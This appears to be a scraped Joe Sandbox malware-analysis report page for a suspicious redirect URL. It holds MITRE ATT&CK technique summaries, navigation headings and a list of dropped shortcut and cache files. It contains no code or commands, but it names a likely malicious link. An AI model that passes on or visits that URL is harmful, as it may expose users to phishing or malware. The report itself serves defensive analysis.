Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Windows Analysis Report
http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9